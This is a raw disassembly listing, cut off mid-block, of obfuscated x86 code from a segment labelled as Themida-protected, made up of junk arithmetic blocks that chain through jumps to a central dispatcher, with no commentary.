loc_5543EE: ; CODE XREF: Themida_:00554C33j
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
push edi
mov edi, 4
add esi, edi
pop edi
jmp loc_554BAF
; ---------------------------------------------------------------------------
loc_554408: ; CODE XREF: Themida_:0055AB35j
and eax, edx
jmp loc_54FAA6
; ---------------------------------------------------------------------------
loc_55440F: ; CODE XREF: Themida_:00553D6Fj
mov [esp], esi
push 1
push dword ptr [esp]
jmp loc_551B4A
; ---------------------------------------------------------------------------
loc_55441F: ; CODE XREF: Themida_:0054F39Bj
or eax, 5525420Ah
inc eax
add eax, 80122115h
add edi, eax
pop eax
jmp loc_55407C
; ---------------------------------------------------------------------------
loc_554432: ; CODE XREF: Themida_:005591C7j
pop esp
mov edx, [esp]
add esp, 4
jmp loc_556325
; ---------------------------------------------------------------------------
loc_554441: ; CODE XREF: Themida_:00559291j
not edi
add edi, 0FFFFFFFFh
inc edi
and edi, 2E8202Eh
xor edi, 2C00004h
add edx, edi
mov edi, [esp]
add esp, 4
add edx, 2
xor edx, [esp]
jmp loc_553461
; ---------------------------------------------------------------------------
loc_55446C: ; CODE XREF: Themida_:00552EDDj
add eax, 1D055943h
push edi
mov edi, 67AF533Fh
xor edi, 6E223C6Bh
and edi, 53D613A8h
push ebp
mov ebp, 37125546h
or edi, ebp
jmp loc_550F4B
; ---------------------------------------------------------------------------
loc_554490: ; CODE XREF: Themida_:00559712j
xchg ecx, [esp]
pop esp
push 1031h
mov [esp], ebp
mov ebp, esp
jmp loc_559E07
; ---------------------------------------------------------------------------
loc_5544A3: ; CODE XREF: Themida_:0055A203j
push esi
push ebx
mov ebx, 71E80F5Bh
shl ebx, 6
shr ebx, 7
or ebx, 2095092Bh
shr ebx, 8
not ebx
xor ebx, 0FFDF0AF4h
mov esi, ebx
pop ebx
add edi, esi
pop esi
xchg edi, [esp]
pop esp
jmp loc_550ACB
; ---------------------------------------------------------------------------
loc_5544D0: ; CODE XREF: Themida_:00559CD8j
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
and al, dl
pop dx
jmp loc_55701C
; ---------------------------------------------------------------------------
loc_5544E6: ; CODE XREF: Themida_:00550FCEj
sub ebx, 5EF606EAh
pop edx
xchg ebx, [esp]
jmp loc_5513EA
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebx
jmp loc_55A67A
; ---------------------------------------------------------------------------
loc_5544FF: ; CODE XREF: Themida_:00559FA9j
mov edi, eax
jmp loc_559CB4
; ---------------------------------------------------------------------------
loc_554506: ; CODE XREF: Themida_:00551772j
push 6550h
mov [esp], edx
jmp loc_5555C1
; ---------------------------------------------------------------------------
loc_554513: ; CODE XREF: Themida_:00552F55j
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ebx
mov bh, 47h
neg bh
sub esp, 2
mov [esp], ax
push small 6D08h
mov [esp], cx
mov ch, 2Fh
jmp loc_55285E
; ---------------------------------------------------------------------------
loc_55453C: ; CODE XREF: Themida_:005554C6j
neg eax
push eax
jmp loc_559613
; ---------------------------------------------------------------------------
loc_554544: ; CODE XREF: Themida_:0054EA90j
mov [esp], ebx
mov ebx, 4
add esi, ebx
pop ebx
push ebp
mov ebp, 133F3C86h
shr ebp, 1
and ebp, 6D2424F6h
add ebp, 562442EEh
shl ebp, 6
shr ebp, 5
sub ebp, 6508E5Eh
push ecx
mov ecx, 16821DBBh
sub esi, ecx
pop ecx
add esi, ebp
add esi, 16821DBBh
pop ebp
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_5504F6
; ---------------------------------------------------------------------------
loc_55458F: ; CODE XREF: Themida_:0054ED8Fj
pop eax
jmp loc_55A48D
; ---------------------------------------------------------------------------
loc_554595: ; CODE XREF: Themida_:0054F43Ej
mov edi, 2
add ebp, 2BF312D6h
add ebp, 68C72649h
add ebp, edi
sub ebp, 68C72649h
push edi
mov edi, 67DF5D62h
push esi
mov esi, 66A51BB5h
add edi, 370B4FB2h
add edi, esi
sub edi, 370B4FB2h
pop esi
shl edi, 4
add edi, 1
xor edi, 0C3B483A7h
sub ebp, edi
pop edi
pop edi
xchg ebp, [esp]
mov esp, [esp]
jmp loc_555AB8
; ---------------------------------------------------------------------------
loc_5545E4: ; CODE XREF: Themida_:0054F3F5j
mov ebp, [esp]
push edx
mov edx, esp
jmp loc_5546EF
; ---------------------------------------------------------------------------
loc_5545EF: ; CODE XREF: Themida_:00559E23j
mov cl, 0EFh
add cl, 0A8h
jmp loc_5501F0
; ---------------------------------------------------------------------------
xor [esp], ebx
xor ebx, [esp]
xor [esp], ebx
push 2747h
mov [esp], ebx
xor [esp], ebx
jmp loc_54F1CC
; ---------------------------------------------------------------------------
loc_554612: ; CODE XREF: Themida_:005543C5j
sub ebp, 6372497h
jmp loc_551938
; ---------------------------------------------------------------------------
loc_55461D: ; CODE XREF: Themida_:00556B99j
mov ebp, 3D4903BBh
mov ecx, 3D4903BFh
sub ecx, ebp
pop ebp
add ebx, 1B764E1h
sub ebx, ecx
push 235Dh
mov [esp], ecx
jmp loc_5546D2
; ---------------------------------------------------------------------------
loc_55463F: ; CODE XREF: Themida_:0055AAC8j
add eax, edx
mov edx, [esp]
add esp, 4
push edx
mov edx, 499F641Bh
push ebp
push esi
jmp loc_553D49
; ---------------------------------------------------------------------------
loc_554654: ; CODE XREF: Themida_:00553A50j
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
mov [esp], cx
jmp loc_551813
; ---------------------------------------------------------------------------
loc_554666: ; CODE XREF: Themida_:0055A9FFj
mov eax, esp
jmp loc_55A3E6
; ---------------------------------------------------------------------------
loc_55466D: ; CODE XREF: Themida_:00550F79j
add ebp, esi
mov esi, [esp]
add esp, 4
push ebx
mov ebx, 2
add ebp, ebx
pop ebx
xor ebp, [esp]
jmp loc_551D01
; ---------------------------------------------------------------------------
mov ecx, [esp]
push 400Bh
mov [esp], eax
jmp loc_55B008
; ---------------------------------------------------------------------------
loc_554699: ; CODE XREF: Themida_:0055B167j
mov ebp, ebx
jmp loc_555354
; ---------------------------------------------------------------------------
loc_5546A0: ; CODE XREF: Themida_:0054EB75j
inc ecx
jmp loc_5563FD
; ---------------------------------------------------------------------------
loc_5546A6: ; CODE XREF: Themida_:00554754j
pop esi
xchg edx, [esp]
pop esp
sar word ptr [esp], cl
pushf
jmp loc_557837
; ---------------------------------------------------------------------------
loc_5546B5: ; CODE XREF: Themida_:005522D7j
mov dh, 0C4h
push 5FFh
jmp loc_5512FC
; ---------------------------------------------------------------------------
loc_5546C1: ; CODE XREF: Themida_:00551536j
push esi
jmp loc_55AA04
; ---------------------------------------------------------------------------
loc_5546C7: ; CODE XREF: Themida_:0055AFC8j
mov ebp, 45426482h
inc ebp
jmp loc_54ED4E
; ---------------------------------------------------------------------------
loc_5546D2: ; CODE XREF: Themida_:0055463Aj
mov ecx, 27449EDh
dec ecx
jmp loc_557E9A
; ---------------------------------------------------------------------------
mov ax, [esp]
push 7DD1h
mov [esp], ecx
push esp
jmp loc_5536E2
; ---------------------------------------------------------------------------
loc_5546EF: ; CODE XREF: Themida_:005545EAj
add edx, 4
jmp loc_54FC7A
; ---------------------------------------------------------------------------
loc_5546FA: ; CODE XREF: Themida_:00559638j
and ecx, 2D3900A0h
jmp loc_556EAB
; ---------------------------------------------------------------------------
loc_554705: ; CODE XREF: Themida_:00555757j
push 64F9h
mov [esp], edi
push ecx
push 536F41DCh
mov ecx, [esp]
add esp, 4
jmp loc_556201
; ---------------------------------------------------------------------------
loc_554721: ; CODE XREF: Themida_:00556AB7j
neg ebx
sub ebx, 9D1AC32Ch
sub edi, ebx
jmp loc_556728
; ---------------------------------------------------------------------------
loc_554730: ; CODE XREF: Themida_:0055B0E8j
xor [esp], edx
xor edx, [esp]
pop esp
jmp loc_5523C0
; ---------------------------------------------------------------------------
loc_55473C: ; CODE XREF: Themida_:00551373j
pop ebp
inc eax
sub esp, 4
mov [esp], edi
push eax
push 5DDB765Bh
mov eax, [esp]
jmp loc_552355
; ---------------------------------------------------------------------------
loc_554752: ; CODE XREF: Themida_:0054FD6Fj
add edx, esi
jmp loc_5546A6
; ---------------------------------------------------------------------------
loc_554759: ; CODE XREF: Themida_:005555A7j
push edx
mov edx, 75B240F5h
jmp loc_54F9BA
; ---------------------------------------------------------------------------
loc_554764: ; CODE XREF: Themida_:00558198j
mov [esp], ebp
push 47A8h
push esp
jmp loc_550F64
; ---------------------------------------------------------------------------
loc_554772: ; CODE XREF: Themida_:00553BBDj
push ebx
add dword ptr [esp], 270315FCh
pop edi
sub edi, 270315FCh
pop ebx
jmp loc_5533BA
; ---------------------------------------------------------------------------
loc_554787: ; CODE XREF: Themida_:005522BAj
inc cx
add cx, 0BBEEh
sub esp, 2
mov [esp], bx
mov bx, 43DEh
sub ax, bx
pop bx
sub ax, 643h
sub ax, 5601h
jmp loc_54EFB6
; ---------------------------------------------------------------------------
loc_5547AB: ; CODE XREF: Themida_:0055AFE7j
mov [esp], edx
mov edx, 1CE24E3Bh
add dword ptr [esp+4], 64F35567h
sub [esp+4], edx
sub dword ptr [esp+4], 64F35567h
jmp loc_558989
; ---------------------------------------------------------------------------
loc_5547CC: ; CODE XREF: Themida_:00551014j
sub ebx, eax
sub ebx, 10DA5FB2h
push edx
mov edx, 300C35EEh
jmp loc_554A2B
; ---------------------------------------------------------------------------
loc_5547DF: ; CODE XREF: Themida_:0054F263j
pop esp
mov ax, [esp]
jmp loc_557012
; ---------------------------------------------------------------------------
loc_5547E9: ; CODE XREF: Themida_:0055ACF1j
push esi
mov esi, 0
sub esi, ebx
jmp loc_559200
; ---------------------------------------------------------------------------
loc_5547F6: ; CODE XREF: Themida_:005533E5j
push 6AB6h
mov [esp], ecx
mov ch, 0E0h
xor ch, 7Fh
sub al, ch
mov ecx, [esp]
add esp, 4
add al, 6Bh
sub al, bl
sub al, 6Bh
add al, 9Fh
sub esp, 4
mov [esp], edx
mov dh, 60h
add al, 38h
add al, dh
push bx
mov bh, 38h
sub al, bh
pop bx
pop edx
push ecx
mov cl, 28h
push edx
push eax
mov al, 58h
shr al, 3
inc al
add al, 76h
dec al
jmp loc_55A991
; ---------------------------------------------------------------------------
mov ax, [esp]
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], edx
jmp loc_551A70
; ---------------------------------------------------------------------------
push small 3DE2h
mov [esp], sp
push ebp
push esp
pop ebp
add ebp, 4
sub ebp, 2
xchg ebp, [esp]
mov esp, [esp]
mov [esp], bp
jmp loc_55AB93
; ---------------------------------------------------------------------------
loc_55487E: ; CODE XREF: Themida_:0055398Bj
mov eax, 1C5E686Bh
push ebx
mov ebx, 0C5C00D9h
jmp loc_551870
; ---------------------------------------------------------------------------
loc_55488E: ; CODE XREF: Themida_:005507DAj
mov ebx, esp
push 104Fh
mov [esp], edx
mov edx, 4
add ebx, edx
jmp loc_558343
; ---------------------------------------------------------------------------
loc_5548A4: ; CODE XREF: Themida_:0054FE2Aj
add edx, 0F3BD3AF5h
sub ebx, edx
pop edx
add ebx, edx
jmp loc_55493C
; ---------------------------------------------------------------------------
loc_5548B4: ; CODE XREF: Themida_:0055A619j
push 72D6h
mov [esp], ecx
mov ecx, 47256A28h
or edi, ecx
push dword ptr [esp]
pop ecx
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
push 24D0h
mov [esp], esi
mov esi, 8848A5C1h
add edi, esi
pop esi
and eax, edi
pop edi
or eax, eax
jz loc_553400
push dword ptr [edi+1Ch]
push dword ptr [esp]
pop ecx
jmp loc_552397
; ---------------------------------------------------------------------------
loc_554901: ; CODE XREF: Themida_:00553367j
add bl, 97h
movzx eax, al
push dword ptr [edi+eax*4]
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_55490F: ; CODE XREF: Themida_:00550AB2j
push esi
mov esi, 4
jmp loc_559DD5
; ---------------------------------------------------------------------------
loc_55491A: ; CODE XREF: Themida_:005549ABj
mov [esp], ebx
mov ebx, esp
push ecx
push edi
mov edi, 180C196Ch
jmp loc_54F15B
; ---------------------------------------------------------------------------
loc_55492B: ; CODE XREF: Themida_:00551576j
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
jmp loc_555454
; ---------------------------------------------------------------------------
loc_55493C: ; CODE XREF: Themida_:005548AFj
push eax
mov eax, 5BBF5047h
add ebx, eax
pop eax
pop edx
xchg ebx, [esp]
mov esp, [esp]
jmp loc_54FAFB
; ---------------------------------------------------------------------------
loc_554951: ; CODE XREF: Themida_:005574E6j
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_5509D7
; ---------------------------------------------------------------------------
push dword ptr fs:[edx]
jmp loc_54EEA6
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl dword ptr [esp], cl
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_554977: ; CODE XREF: Themida_:005590F8j
mov ebx, 4
mov esi, ebx
pop ebx
jmp loc_559E98
; ---------------------------------------------------------------------------
loc_554984: ; CODE XREF: Themida_:0054FCBEj
pop esi
add ecx, 0FFFFFFFFh
shl ecx, 8
sub esp, 4
jmp loc_554C63
; ---------------------------------------------------------------------------
loc_554996: ; CODE XREF: Themida_:00553E7Cj
push edx
jmp loc_553C29
; ---------------------------------------------------------------------------
loc_55499C: ; CODE XREF: Themida_:005590D4j
add al, 0Eh
add al, dh
sub al, 0Eh
mov dx, [esp]
push 508Ch
jmp loc_55491A
; ---------------------------------------------------------------------------
loc_5549B0: ; CODE XREF: Themida_:00555B98j
pop eax
jmp loc_54ECB4
; ---------------------------------------------------------------------------
loc_5549B6: ; CODE XREF: Themida_:0055881Aj
push edi
dec dword ptr [esp]
pop edi
jmp loc_553067
; ---------------------------------------------------------------------------
loc_5549C0: ; CODE XREF: Themida_:00554B71j
sub ebp, 611C0A42h
mov edi, [esp]
push esi
jmp loc_5501D5
; ---------------------------------------------------------------------------
loc_5549CF: ; CODE XREF: Themida_:00550A76j
add ebp, 4
sub ebp, 4
jmp loc_5507F4
; ---------------------------------------------------------------------------
loc_5549E0: ; CODE XREF: Themida_:0055892Bj
pop edi
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ecx
jmp loc_557C38
; ---------------------------------------------------------------------------
loc_5549F3: ; CODE XREF: Themida_:00552D1Cj
add esp, 4
sub ebx, eax
pop eax
sub ebx, eax
push edi
mov edi, 62980067h
add ebx, edi
pop edi
mov dx, [esp]
sub esp, 4
mov [esp], edx
mov edx, esp
push edi
mov edi, 4
jmp loc_5566A0
; ---------------------------------------------------------------------------
loc_554A1E: ; CODE XREF: Themida_:00551BE1j
add esi, eax
jmp loc_55873A
; ---------------------------------------------------------------------------
loc_554A25: ; CODE XREF: Themida_:0055178Cj
pop edx
jmp loc_555DF0
; ---------------------------------------------------------------------------
loc_554A2B: ; CODE XREF: Themida_:005547DAj
inc edx
inc edx
jmp loc_5564C4
; ---------------------------------------------------------------------------
loc_554A32: ; CODE XREF: Themida_:005582F8j
dec ebp
shr ebp, 5
push edx
mov edx, 349D043Bh
jmp loc_5556AA
; ---------------------------------------------------------------------------
loc_554A41: ; CODE XREF: Themida_:00553D1Ej
pop esi
add ebx, eax
jmp loc_556EB7
; ---------------------------------------------------------------------------
loc_554A49: ; CODE XREF: Themida_:005572FBj
push 1BEDh
mov [esp], ebx
mov ebx, 4
push eax
push ebp
mov ebp, 3719582Fh
not ebp
not ebp
jmp loc_5574EB
; ---------------------------------------------------------------------------
loc_554A66: ; CODE XREF: Themida_:00559682j
add edx, 71615EE7h
jmp loc_55753C
; ---------------------------------------------------------------------------
loc_554A71: ; CODE XREF: Themida_:00556F4Aj
push esp
pop eax
add eax, 4
add eax, 4
jmp loc_5539AD
; ---------------------------------------------------------------------------
loc_554A80: ; CODE XREF: Themida_:00550869j
mov esp, [esp]
mov [esp], ax
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_554A8C: ; CODE XREF: Themida_:00552B39j
push 32525CDAh
pop eax
jmp loc_54EE09
; ---------------------------------------------------------------------------
loc_554A97: ; CODE XREF: Themida_:00551269j
mov [esp], esi
push esp
pop esi
add esi, 4
add esi, 2
xchg esi, [esp]
mov esp, [esp]
rol word ptr [esp], cl
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_554AB8: ; CODE XREF: Themida_:0055032Fj
add esi, ecx
add esi, 5B045127h
pop ecx
jmp loc_552CCE
; ---------------------------------------------------------------------------
loc_554AC6: ; CODE XREF: Themida_:00550D75j
add edx, 4
push edx
push dword ptr [esp+4]
pop edx
jmp loc_550EBE
; ---------------------------------------------------------------------------
loc_554AD7: ; CODE XREF: Themida_:0054FB4Dj
pop ecx
add esp, 4
add esp, 4
push edx
push eax
sub esp, 4
mov [esp], edx
mov dh, 84h
jmp loc_553D23
; ---------------------------------------------------------------------------
loc_554AF6: ; CODE XREF: Themida_:005582C4j
or ebp, 4E27569Dh
push ebx
mov ebx, 404F710Dh
and ebp, ebx
pop ebx
or ebp, 389851CEh
jmp loc_559B7D
; ---------------------------------------------------------------------------
loc_554B10: ; CODE XREF: Themida_:0054ED88j
add eax, 4
jmp loc_54EBD6
; ---------------------------------------------------------------------------
loc_554B1A: ; CODE XREF: Themida_:005508B1j
push edx
mov edx, 1A0310B6h
sub edx, 47FBCB30h
jmp loc_54F707
; ---------------------------------------------------------------------------
loc_554B2B: ; CODE XREF: Themida_:0055605Bj
pop edi
add edi, 4
sub edi, 4
jmp loc_54FBDC
; ---------------------------------------------------------------------------
loc_554B3A: ; CODE XREF: Themida_:005598C4j
sub dword ptr [esp], 3B2211D8h
sub dword ptr [esp], 1BC63A46h
add dword ptr [esp], 6A1F5F31h
add [esp], eax
sub dword ptr [esp], 6A1F5F31h
push ebx
mov ebx, 1BC63A46h
add [esp+4], ebx
pop ebx
push ecx
mov ecx, 3B2211D8h
jmp loc_556B62
; ---------------------------------------------------------------------------
loc_554B6F: ; CODE XREF: Themida_:005573BDj
add ebp, edi
jmp loc_5549C0
; ---------------------------------------------------------------------------
loc_554B76: ; CODE XREF: Themida_:00553431j
add esp, 4
push esi
jmp loc_5552E1
; ---------------------------------------------------------------------------
loc_554B7F: ; CODE XREF: Themida_:00556178j
pop edx
xchg ebx, [esp]
pop esp
loc_554B84: ; CODE XREF: Themida_:0054F3B4j
push 6D7Eh
mov [esp], esi
mov esi, ebx
push 3FAFh
mov [esp], esi
jmp loc_550B4D
; ---------------------------------------------------------------------------
loc_554B9B: ; CODE XREF: Themida_:00556CECj
mov esi, 4
jmp loc_54F5CA
; ---------------------------------------------------------------------------
loc_554BA5: ; CODE XREF: Themida_:00551EC5j
and eax, ebp
mov ebp, [esp]
jmp loc_551235
; ---------------------------------------------------------------------------
loc_554BAF: ; CODE XREF: Themida_:00554403j
push edx
mov edx, 4
add esi, edx
pop edx
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
jmp loc_557F49
; ---------------------------------------------------------------------------
loc_554BC6: ; CODE XREF: Themida_:00557879j
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], ebx
jmp loc_5586E3
; ---------------------------------------------------------------------------
loc_554BDC: ; CODE XREF: Themida_:0055829Ej
mov bx, ax
mov eax, [esp]
jmp loc_553266
; ---------------------------------------------------------------------------
loc_554BE7: ; CODE XREF: Themida_:0054F78Ej
add ecx, 51972B0Fh
jmp loc_551D67
; ---------------------------------------------------------------------------
loc_554BF2: ; CODE XREF: Themida_:00553E37j
add al, bh
sub al, 0Fh
mov ebx, [esp]
add esp, 4
sub bl, 3Eh
sub esp, 4
mov [esp], ecx
jmp loc_555C14
; ---------------------------------------------------------------------------
loc_554C0D: ; CODE XREF: Themida_:005554F7j
pop edi
push edx
jmp loc_5582B6
; ---------------------------------------------------------------------------
loc_554C14: ; CODE XREF: Themida_:005541D6j
push 3D0Eh
mov [esp], edx
push esp
pop edx
push ecx
mov ecx, 62B250F5h
push ebx
mov ebx, 54494790h
add ecx, ebx
jmp loc_552DEA
; ---------------------------------------------------------------------------
loc_554C31: ; CODE XREF: Themida_:0055AC33j
mov eax, esp
jmp loc_5543EE
; ---------------------------------------------------------------------------
loc_554C38: ; CODE XREF: Themida_:00552FF2j
mov edx, esp
sub esp, 4
mov [esp], eax
mov eax, 4
add edx, eax
pop eax
push esi
mov esi, 17E30849h
jmp loc_558028
; ---------------------------------------------------------------------------
loc_554C53: ; CODE XREF: Themida_:0055A691j
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_554C58: ; CODE XREF: Themida_:00553FB1j
push eax
mov eax, 2B9E104Fh
jmp loc_556287
; ---------------------------------------------------------------------------
loc_554C63: ; CODE XREF: Themida_:00554991j
mov [esp], edi
mov edi, 75685972h
add ecx, edi
pop edi
shl ecx, 8
add ecx, 0C991032Ah
mov edx, ecx
pop ecx
jmp loc_559225
; ---------------------------------------------------------------------------
loc_554C7F: ; CODE XREF: Themida_:005560C6j
add ebx, 0F7EFF004h
add esi, ebx
pop ebx
push ebp
mov ebp, 4
jmp loc_558B0B
; ---------------------------------------------------------------------------
loc_554C93: ; CODE XREF: Themida_:005596EAj
add ebx, eax
pop eax
add ebp, ebx
pop ebx
push esi
mov esi, 71037DB0h
neg esi
add esi, 0B36BC47Bh
jmp loc_5589F7
; ---------------------------------------------------------------------------
loc_554CAC: ; CODE XREF: Themida_:00559A28j
push esp
jmp loc_5591CC
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], esp
push 7B8Fh
mov [esp], ebx
jmp loc_5534B9
; ---------------------------------------------------------------------------
loc_554CC5: ; CODE XREF: Themida_:0055A639j
and eax, 674E5F36h
xor eax, 55EE34C2h
jmp loc_550EC6
; ---------------------------------------------------------------------------
loc_554CD4: ; CODE XREF: Themida_:00553AF2j
shl ebp, 1
or ebp, 447C62EAh
sub ebp, 13F7A6FCh
and esi, ebp
pop ebp
push edx
mov edx, 72B401CAh
add edx, 6D40CCE2h
jmp loc_554111
; ---------------------------------------------------------------------------
loc_554CF6: ; CODE XREF: Themida_:005552DCj
mov [esp], ebp
push edi
mov edi, 0F8977D3h
mov ebp, 3E740DA9h
xor ebp, edi
mov edi, [esp]
add esp, 4
sub ebp, 1
or ebp, 51604544h
shl ebp, 1
push ecx
mov ecx, 5D6B3B74h
xor ecx, 0BE90398Fh
sub ebp, ecx
pop ecx
and [edi+1Ch], ebp
jmp loc_554F97
; ---------------------------------------------------------------------------
loc_554D34: ; CODE XREF: Themida_:00554198j
add esi, 4
sub esi, 4
jmp loc_55A1D0
; ---------------------------------------------------------------------------
loc_554D42: ; CODE XREF: Themida_:00553E4Bj
xor esi, 797F47FFh
jmp loc_5533EA
; ---------------------------------------------------------------------------
loc_554D4D: ; CODE XREF: Themida_:00555475j
push edx
push 1455B2Dh
pop edx
inc edx
sub edx, 1C460FA3h
shr edx, 1
jmp loc_559DF6
; ---------------------------------------------------------------------------
loc_554D62: ; CODE XREF: Themida_:005571BCj
push dword ptr [esp]
pop eax
jmp loc_5583BB
; ---------------------------------------------------------------------------
loc_554D6B: ; CODE XREF: Themida_:00558127j
neg eax
xor eax, 3C1B98DBh
or ebx, eax
pop eax
sub ebx, 3EF77E47h
add ecx, ebx
jmp loc_54F48C
; ---------------------------------------------------------------------------
loc_554D82: ; CODE XREF: Themida_:00553A3Bj
push edx
push 75DD2C87h
pop edx
or edx, 11AA38D7h
shr edx, 2
xor edx, 1D7FCF31h
add edi, edx
mov edx, [esp]
add esp, 4
push 73A5h
mov [esp], eax
mov eax, 2
sub edi, eax
jmp loc_554345
; ---------------------------------------------------------------------------
loc_554DB7: ; CODE XREF: Themida_:0055AD71j
mov edi, 42172314h
or edi, 23D86BE0h
or edi, 377A3F1Ah
xor edi, 77FF7FFAh
add ebx, edi
jmp loc_558DEC
; ---------------------------------------------------------------------------
loc_554DD5: ; CODE XREF: Themida_:005529DCj
push dword ptr [esp+4]
pop eax
jmp loc_558EB2
; ---------------------------------------------------------------------------
loc_554DDF: ; CODE XREF: Themida_:00555144j
xor edx, 7419CDBBh
xor ebx, edx
pop edx
add eax, ebx
pop ebx
jmp loc_558066
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop eax
sbb [esp], eax
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_554DFE: ; CODE XREF: Themida_:00553C15j
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
jmp loc_559F50
; ---------------------------------------------------------------------------
loc_554E15: ; CODE XREF: Themida_:0055700Dj
shl eax, cl
sub esp, 4
mov [esp], esi
mov esi, 7AE7948h
jmp loc_55304F
; ---------------------------------------------------------------------------
loc_554E27: ; CODE XREF: Themida_:00559E93j
add ebx, 4
sub ebx, 4
sub esp, 4
jmp loc_555E8E
; ---------------------------------------------------------------------------
loc_554E3E: ; CODE XREF: Themida_:0054FE3Fj
mov edx, 4
add eax, edx
jmp loc_558B66
; ---------------------------------------------------------------------------
loc_554E4A: ; CODE XREF: Themida_:0055911Ej
mov [esp], ebx
push esp
pop ebx
push ecx
jmp loc_553E77
; ---------------------------------------------------------------------------
loc_554E55: ; CODE XREF: Themida_:0055A1E9j
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_554E5A: ; CODE XREF: Themida_:005594F0j
sub eax, ebx
pop ebx
mov ebp, [esp]
add esp, 4
jmp loc_55745A
; ---------------------------------------------------------------------------
loc_554E68: ; CODE XREF: Themida_:00556842j
mov bh, dh
jmp loc_55076C
; ---------------------------------------------------------------------------
loc_554E6F: ; CODE XREF: Themida_:00555E22j
add esp, 4
jmp loc_55743E
; ---------------------------------------------------------------------------
loc_554E7A: ; CODE XREF: Themida_:005592D7j
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_554E7F: ; CODE XREF: Themida_:0055759Ej
ror byte ptr [esp], cl
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_554E88: ; CODE XREF: Themida_:00552DFCj
push esi
jmp loc_553038
; ---------------------------------------------------------------------------
loc_554E8E: ; CODE XREF: Themida_:0054FEF5j
sub esp, 4
mov [esp], edx
mov edx, esp
jmp loc_558B2A
; ---------------------------------------------------------------------------
loc_554E9E: ; CODE XREF: Themida_:005542BFj
pop ecx
add bl, 0A8h
jmp loc_550CE4
; ---------------------------------------------------------------------------
loc_554EA7: ; CODE XREF: Themida_:005577DDj
pop ecx
jmp loc_54EF3B
; ---------------------------------------------------------------------------
loc_554EAD: ; CODE XREF: Themida_:0054F9FEj
pop eax
add ebx, 0D3871138h
jmp loc_5550B3
; ---------------------------------------------------------------------------
loc_554EB9: ; CODE XREF: Themida_:005523DDj
push small 2E6Ah
mov [esp], cx
movzx cx, al
push cx
pushf
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_554ECD: ; CODE XREF: Themida_:0054EE3Cj
push 5081h
mov [esp], edx
mov dh, 0D8h
sub esp, 4
mov [esp], ecx
push 1C04h
mov [esp], edx
mov dh, 0EEh
mov ch, dh
pop edx
push edx
mov dh, 8Dh
neg dh
jmp loc_5514C4
; ---------------------------------------------------------------------------
loc_554EF4: ; CODE XREF: Themida_:0055ACFBj
add esp, 4
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
mov [esp], esp
add dword ptr [esp], 4
jmp loc_54EA5C
; ---------------------------------------------------------------------------
loc_554F15: ; CODE XREF: Themida_:00555284j
push esp
pop ecx
add ecx, 4
jmp loc_55B19F
; ---------------------------------------------------------------------------
lodsb
xor al, bl
sub esp, 4
mov [esp], edx
push 142Dh
mov [esp], ebx
mov bh, 0FCh
jmp loc_5568AA
; ---------------------------------------------------------------------------
loc_554F3D: ; CODE XREF: Themida_:0054EC03j
xchg ebx, ecx
push ebx
mov ebx, 0E996D8Fh
sub ebx, 63031576h
jmp loc_5595BB
; ---------------------------------------------------------------------------
loc_554F50: ; CODE XREF: Themida_:0055804Bj
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
movsx ecx, ax
push esi
push 60FAh
mov [esp], esp
add dword ptr [esp], 4
jmp loc_5587BE
; ---------------------------------------------------------------------------
loc_554F7A: ; CODE XREF: Themida_:00558BC5j
xor ebp, 77A41FC8h
sub ebp, 4DD32F7Eh
shr ebp, 5
add ebp, 0F72BDA0h
xor edi, ebp
pop ebp
jmp loc_556F19
; ---------------------------------------------------------------------------
loc_554F97: ; CODE XREF: Themida_:00554D2Fj
mov ebp, [esp]
push eax
push esp
jmp loc_559241
; ---------------------------------------------------------------------------
loc_554FA1: ; CODE XREF: Themida_:00550EDAj
pop ecx
push ecx
mov ecx, 4
push esi
mov esi, 69584FAEh
jmp loc_552B19
; ---------------------------------------------------------------------------
loc_554FB3: ; CODE XREF: Themida_:005575D3j
dec edx
add edx, 66306CF7h
sub edx, 6B5040A9h
xor edx, 49B14AF0h
add ebp, edx
jmp loc_55175E
; ---------------------------------------------------------------------------
loc_554FCD: ; CODE XREF: Themida_:005501C8j
add ebx, 4
xchg ebx, [esp]
pop esp
pop dword ptr [esp]
pop esp
jmp loc_5560CB
; ---------------------------------------------------------------------------
loc_554FE0: ; CODE XREF: Themida_:00552A98j
pop ebp
jmp loc_55A262
; ---------------------------------------------------------------------------
loc_554FE6: ; CODE XREF: Themida_:0055B066j
add esp, 4
shr dl, 2
neg dl
add dl, 0DEh
and dl, 16h
and dl, 2Ch
add dl, 0C8h
jmp loc_558620
; ---------------------------------------------------------------------------
loc_555002: ; CODE XREF: Themida_:00554017j
pop ecx
add edx, 0F3A1DB0Dh
and eax, edx
mov edx, [esp]
push esi
push 3ECBh
mov [esp], esp
add dword ptr [esp], 4
pop esi
push eax
mov eax, 26B5799Eh
push eax
